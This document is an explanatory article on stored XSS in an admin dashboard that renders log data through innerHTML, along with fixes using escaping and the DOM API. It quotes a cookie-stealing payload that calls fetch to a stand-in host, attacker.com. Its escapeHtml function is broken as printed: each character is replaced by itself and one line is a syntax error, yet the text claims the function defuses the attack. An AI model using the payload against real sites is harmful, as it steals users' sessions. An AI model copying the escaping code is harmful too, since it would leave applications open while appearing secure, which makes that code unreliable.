The problem
Your admin dashboard shows a table of recent access logs: IP addresses, user agents, request paths. All of it scraped from server logs or API responses. You render it like this:
const row = `<tr><td>${ip}</td><td>${userAgent}</td></tr>`
tbody.innerHTML += row
An attacker sends a request with a user agent like:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
The log captures that string. When you render it via innerHTML, the browser parses it as HTML and executes the JavaScript. Your session cookie is gone — sent to the attacker's server. That's stored XSS: the malicious payload lives in your database (or logs), and every time someone views that page, it executes.
Why it happens
Three things align:
- You trust server data. "This came from the database / logs / an internal API, so it's safe." It's not. Logs capture whatever clients send — there's no sanitization barrier.
- innerHTML parses HTML. It's designed to. You give it a string, it interprets it as markup, and executes any scripts in the parsed tree.
- You display user-influenced fields without escaping. Even if you escape one field, you forget another, and the vulnerability is born.
The fix isn't "escape everything" — that's fragile and easy to miss. The fix is to stop using innerHTML for user data.
The fix: escape HTML entities
If you must use innerHTML, escape the data first:
function escapeHtml(text) {
return String(text ?? '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
const row = `<tr><td>${escapeHtml(ip)}</td><td>${escapeHtml(userAgent)}</td></tr>`
tbody.innerHTML += row
Now <img src=x onerror=...> renders as literal text in the table, not as HTML. The attacker's payload is defused.
But escaping alone isn't enough
Escaping is a band-aid. The real problem: you're mixing data and markup in a string. One escaped field? You're good. But dashboards have dozens of fields, and humans miss. The admin-logs.html dashboard in this codebase did exactly that: escaped IPs and paths in the table, but forgot to escape organization names from the geolocation API response. One field unescaped = one vector open.
The real solution: stop building HTML as strings.
The real solution: use the DOM API
textContent and createElement don't parse HTML. They treat everything as text:
const row = document.createElement('tr')
const ipCell = document.createElement('td')
ipCell.textContent = ip // Never parsed as HTML
const uaCell = document.createElement('td')
uaCell.textContent = userAgent // Never parsed as HTML
row.appendChild(ipCell)
row.appendChild(uaCell)
tbody.appendChild(row)
No matter what the attacker sends, textContent treats it as plain text. <img src=x onerror=...> appears in the table as literal text. The vulnerability is impossible.
This is the approach used in the refactored admin-logs.html: build the table with createElement and textContent, only using innerHTML for safe content you control. The result: no stored XSS vector, and zero need to remember which fields to escape.